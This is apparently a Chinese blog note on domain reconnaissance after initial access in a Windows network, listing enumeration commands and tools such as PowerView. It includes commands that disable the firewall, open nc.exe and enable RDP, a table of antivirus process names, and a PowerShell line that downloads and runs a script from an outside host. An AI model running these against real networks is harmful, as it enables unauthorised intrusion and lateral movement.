写在前面
本章主要是域内信息收集的一些场景及所可能会用到的命令。信息要找自己所需要的,所以并不是所有的命令都是有用的,对于我来说是这样的。
这部分的内容并没有按照书上的全部写完,各有取舍吧,20年的书了,有些东西确实已经用不到了,所以就没有详细研究,先就整理这么多吧。
本机信息收集
网卡信息
ipconfig /all
操作系统及软件信息
# 查询操作系统和版本信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# 中文版操作系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
系统体系结构
echo %PROCESSOR_ARCHITECTURE%
软件版本及路径等
wmic product get name.version
powershell "Get-WmnObject -class Win32_product | Select-Object -Property name,version"
本机服务信息
wmic service list brief
# 图形化界面
SERVICES.MSC
进程列表
tasklist
wmic process list brief
常见杀毒软件进程 | 软件名称 |
---|---|
360sd.exe | 360杀毒 |
360tray.exe | 360实时保护 |
ZhuDongFangYu.exe | 360主动防御 |
KSafeTray.exe | 金山卫士 |
SafeDogUpdateCenter.exe | 安全狗 |
McAfee McShield.exe | McAfee |
egui.exe | NOD32 |
AVP.EXE | 卡巴斯基 |
avguard.exe | 小红伞 |
bdagent.exe | BitDefender |
wsctrlsvc.exe | 火绒 |
启动程序信息
wmic startup get command,caption
计划任务
schtasks /query /fo LIST /v
开机时间
net statistics workstation
用户列表
net user
# 获取本地管理员
net localgroup administrators
# 当前在线用户(仅能在cmd中执行)
query user || qwinsta
本地计算机域所连接的客户端之间的会话
# 需要管理员权限
net session
端口列表
netstat -ano
系统信息及补丁列表
systeminfo
# powershell命令
Get-WmiObject Win32_ComputerSystem
# 仅查看补丁——名称、描述、ID、安装时间等
wmic qfe get Caption,Description,HotFixID,InstalledOn
本机共享列表
net share
wmic share get name,path,status
路由表及ARP表
router print
arp -a
防火墙相关配置
- 关闭防火墙
# windows server 2003及之前版本的命令
netsh firewall set opmode disable
# windows server 2003之后版本的命令
netsh advfirewall set allprofiles state off
- 查看防火墙配置
netsh firewall show config
- 修改防火墙配置
# windows server 2003及之前版本的命令,允许指定程序全部连接
netsh firewall add allowedprogram c:\nc.exe "allow nc" enable
# windows server 2003之后版本的命令
netsh advfirewall firewall add rule name="pass nc" dir=in action=allow progtam="C:\nc.exe"
# 语序指定程序退出
netsh advfirewall firewall add rule name="Allow nc" dir=out action=allow program="C:\nc.exe"
# 允许3389端口放行
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
- 自定义防火墙日志的存储位置
netsh advfirewall set currentprofile logging filename "C\:windows\temp\fw.log"
代理配置情况
reg query "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings"
查询并开启远程连接服务
- 查看远程连接端口
reg query "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /V PortNumber
# 结果为十六进制,转换进制即可
- 开启3389
# windows server 2003中开启3389
wmic path win32_terminalservicesetting where (__CLASS !="") call SetAllowTSConnections 1
# windows server 2008和windows server 2012中开启3389
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (__CLASS !="") call SetAllowTSConnections 1
wmic /namespace:\\root\cimv2\terminalservices path win32_terminalservicesetting where (TerminalName='RDP-Tcp') call setuserauthenticationrequired 1
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t REG_DWORD /d 0 /f
- 其他收集到的开启3389端口命令
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
自动收集信息
简单来说就是将上面的命令放在一个自动化脚本中执行,并对最终结果的数据进行处理格式化输出。例如wmic_info工具。
查询当前权限
当前权限
whoami
# 普通用户
# win-2008\user
# 本地管理员
# win-2012\administrator
# 域内用户:hack域中的administrator用户
# hack\administrator
本地管理员administrator可以直接提升至Ntauthority或System,因此在域中除普通用户外,所有机器都有一个机器用户,机器用户名是机器名加上$
。本质上来说,机器的system用户对应的就是域中的机器用户,所以使用System可以运行域内的查询命令。
获取域内SID
whoami /all
查询制定用户的详细信息
net user XXX /domain
判断是否存在域
ipconfig命令
ipconfig /all
# 查看网关IP、DNS的IP地址、域名、本机是否和DNS服务器处于同一网段等
# 获取DNS后缀后可以通过nslookup反解析域名的IP地址(该部分注意Windows IP Configuration)
nslookup hack.testlab
系统详细信息
systeminfo
返回信息中域 domain
一栏中,如果在域内会返回域名,如果不在域内则会返回WORKGROUP
。
当前登录域及登录用户信息
net config workstation
与"systeminfo"一致,工作站域DNS名称 Workstation Domain DNS Name
一栏中,如果在域中会返回域名,如果不在域内会返回WORKGROUP
。登录域 Logon domain
一栏中用于表示当前登录的用户是域用户还是本地用户,如果是本地用户则会返回计算机名。
判断主域
net time /domain
一般域服务器会作为时间服务器使用。
上述命令执行会存在几种情况
- 第一种存在域但当前用户不是域用户,则会返回下面的信息
System error 5 has occurred.
Access is denied.
# 系统发生错误 5。
# 拒绝访问
# 不过有的时候发现在域内且是域用户登录也会返回这种情况,猜测与杀毒软件、防火墙、权限有关
- 存在域,且当前用户是域用户,会返回时间同步后的时间戳
- 当前网络环境为工作组,不存在域则会返回
找不到域 WORKGROUP 的域控制器
探测域内存活的主机
这个就不按书上的来了,毕竟目前的扫描都比较好用,比如说Nmap、Fscan等等。除了这些,建议配合ipconfig
、arp -a
、netstat -ano
等有关于网络信息的命令进行定向的扫描。
这里记录一个比较有意思的探测存活主机的手工命令,这个命令可以参考改成存活端口的探测。
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I | findstr "TTL="
扫描域内端口
这部分同上,扫描器都在迭代越来越好用。这里仅记录一下msf中的操作。
msf > use auxliary/scanner/portscan/tcp
msf auxliary(scanner/portscan/tcp) > set port 1-65535
msf auxliary(scanner/portscan/tcp) > set RHOSTS 192.168.1.1
msf auxliary(scanner/portscan/tcp) > set THREADS 10
msf auxliary(scanner/portscan/tcp) > run
msf我记得只能扫描一个目标说以说还是比较麻烦的。
收集域内基础信息
此部分命令如果执行后报错,很大程度上是与机器上的防火墙、杀毒软件、用户组权限等安全措施有关。
查询域
net view /domain
查询域内所有计算机
net view /domain:domain
查询域内所有用户组列表
net group /domain
查询所有域成员计算机列表
net group "domain computers" /domain
获取域密码信息
net accounts /domain
# 具体没什么用的命令
获取域信任信息
nltest /domain_trusts
查找DC
查看域控制器的机器名
nltest /DCLIST:domain
# 具体没什么用的命令
查看域控制器主机名
nslookup -type=SRV _ldap._tcp
# 具体没什么用的命令
查看当前时间
同"判断主域"
查看域控制器组
net group "Domain Controllers" /domain
# 具体没什么用的命令
# 查询主域控制器
netdom query pdc
获取域内的用户和管理员信息
查询所有域用户列表
# 向域控制器进行查询
net user /domain
# 获取域内用户的详细信息
wmic useraccount get /all
# 查看存在的用户
dsquery user
# 查询本地管理员组用户
net localgroup administrators
查询域管理用户组
# 查询域管理员用户
net group "domain admins" /domain
# 查询管理员用户组
net group "Enterprise Admins" /domain
定位域管理员
初步是感觉这块并没有什么作用,后续想了一下,讲的是定位,看一眼有哪些账号登录了哪些机器,不然的话,抓密码都不知道去哪抓。
psloggedon.exe
pstools大礼包中自带此工具,用于查看本地登录的用户和通过本地计算机或远程计算机资源登录的用户
psloggedon.exe [-] [-l] [-x] [\\computername | username]
# -:显示支持的选项和用于输出值的单位
# -l:仅显示本地登陆,不显示本地和网络资源登录
# -x:不显示登录时间
# \\computername:指定要列出登录信息的计算机的名称
# username:指定用户名,在网络中搜索该用户登录的计算机
\\
后面接的是域控机器名,看一下登录过域控的用户名
如果\\
接的是用户名,那就会搜索网上邻居的计算机,并显示指定用户是否已经登录
此工具本质是检测注册表中HKEY_USERS的key值、调用了NetSessionEnum的API来判断谁登录过哪台机器,如果无法读取或者读取注册表失败,总之工具效果很差
PVEFindADUser.exe
直接pvefinaduser.exe -current,一把梭,即可查看域中所有计算机的登录用户,但是貌似系统判断精准度有些问题,并且需要管理员权限。
PVEFindADUser.exe <parameter>
# -h:显示帮助信息
# -u:金叉程序是否有新版本
# -current["username"]:如果仅指定了-current参数,将获取目标计算机上当前登录的所有用户;如果指定了用户名(Domain\Username),则显示该用户登录的计算机
# -last["username"]:如果仅指定了-last参数,将获取目标计算机的最后一个登录用户;如果指定了用户名(Domain\Username),则显示该用户上次登录的计算机;根据网络策略,可能会隐藏最后一个登录用户的用户名,此时则无法获取到该用户名
# -noping:阻止该工具获取信息之前对目标计算机使用ping命令
# -target:可选,用于指定要查询的主机,如果未指定该参数,将查询当前域中所有主机,如果指定了该参数,则后跟一个由逗号分隔的主机名列表
PowerView.ps1 脚本
打开powershell,进入脚本目录,输入Import-Module .\PowerView.ps1
导入脚本。
# 找到域内特定的用户群
Invoke-UserHunter
# 获取域内所有用户,powerview的默认使用,如果找不到需要的信息,建议上面的命令
Invoke-StealthUserHunter
# 远程导入
powershell.exe -exec bypass IEX(New-Object Net.WebClient).DownloadString('http://外网IP/powersploit/Recon/PowerView.ps1');Invoke-UserHunter
Nmap的NSE脚本
Nmap的官方脚本。
# 对域控制器进行信息收集,主机信息、用户、可使用密码策略的用户等
smb-enum-domains.nse
# 获取更多的域用户信息
smb-enum-users.nse
# 遍历远程主机的共享目录
smb-enum-shares.nse
# 对主机的系统进程进行遍历
smb-enum-processes.nse
# 获取域内主机的用户登录回话,查看当前是否有用户登录
smb-enum-sessions.nse
# 收集目标主机的操作系统、计算机名、域名、域林名称、NetBIOS机器名、NetBIOS域名、工作组、系统时间等
smb-os-discovery.nse
查找域管理进程
本机检查
- 获取域管理员列表
net group "Domain Admins" /domain
- 列出本机的所有进程及进程用户
tasklist /v
- 寻找进程所有者为域管理员的进程
查询域控制器的域用户回话
- 查询域控制器列表
# 可以使用LDAP查询从Domain Controllers单元中收集的域控制器列表
# 使用net命令
net group "Domain Controllers" /domain
- 收集域管理员列表
# 可以使用LDAP查询,也可以使用net命令
net group "Domain Admins" /domain
- 收集所有活动域的会话列表
NetSess -h
# NetSess查询每个域控制器,收集所有活动域会话列表,它包含本地windows函数netsessionenum,该函数用于返回活动会话的IP地址、域账户、绘画开始时间和空闲时间
- 交叉引用域管理员列表域活动会话列表
# 对域管理员列表和活动会话列表进行交叉引用,可以确定哪些IP地址有活动域令牌
# 将域控制器列表添加到dcs.txt中,将域管理员列表添加到admins.txt中并与netsess.exe放在同一目录下
FOR /F %i in (dcs.txt) do @echo [+] Querying DC %i && @netsess -h %i 2>nul > sessions.txt && FOR //F %a in (admins.txt) DO @type sessions.txt | @findstr /I %a
# 类似于Get Domain Admins(GDA)批处理脚本
查询远程系统中运行的任务
首先收集域管理员列表
net group "Domain Admins" /domain
然后运行下面的脚本,将目标域系统列表添加到ips.txt文件中,将收集的域管理员列表添加到names.txt中
FOR /F %i in (ips.txt) do @echo [+] %i && @tasklist /V /S %i /U user /P password 2>NUL > output.txt && FOR /F %n in (names.txt) DO @type output.txt | findstr %n > NUL && echo [!] %n was found running a process on %i && pause
扫描远程系统的NetBIOS信息
某些版本的windows操作系统允许用户通过NetBIOS查询已登录用户,收集域管理员列表,运行下列脚本,将目标与系统列表添加到ips.txt中,将收集的域管理员列表添加到admins.txt中
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtstat -A %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
也可以使用nbtscan工具
FOR /F %i in (ips.txt) do @echo [+] Checking %i && nbtscan -f %i 2>NUL >nbsessions.txt && FOR /F %n in (admins.txt) DO @type nbsessions.txt | findstr /I %n > NUL && echo [!] %n was found logged into %i
使用powershell收集域信息
主要使用的就是PowerView这个脚本
# powerview常用命令
# 获取当前用户所在域的名称
Get-NetDomain
# 获取所有用户的详细信息
Get-NetUser
# 获取所有域控制器的信息
Get-NetDomainController
# 获取域内所有机器的详细信息
Get-NetComputer
# 获取域中的OU信息
Get-NetOU
# 获取所有域内组和组成员的信息
Get-NetGroup
# 根据SPN获取当前域使用的文件服务器信息
Get-NetFileServer
# 获取当前域内所有的网络共享信息
Get-NetShare
# 获取指定服务器的回话
Get-NetSession
# 获取指定服务器的远程连接
Get-NetRDPSession
# 获取远程主机的进程
Get-NetProcess
# 获取指定用户的日志
Get-UserEvent
# 获取活动目录的对象
Get-ADObject
# 获取域内所有的组策略对象
Get-NetGPO
# 获取域默认策略或域控制器策略
Get-DomainPolicy
# 获取域用户登录的计算机信息及该用户是否有本地管理员权限
Invoke-Userhunter
# 通过查询域内所有机器进程找到特定用户
Invoke-Processhunter
# 根据用户日志查询某域用户登录过哪些域机器
Invoke-UserEventhunter
Comments | NOTHING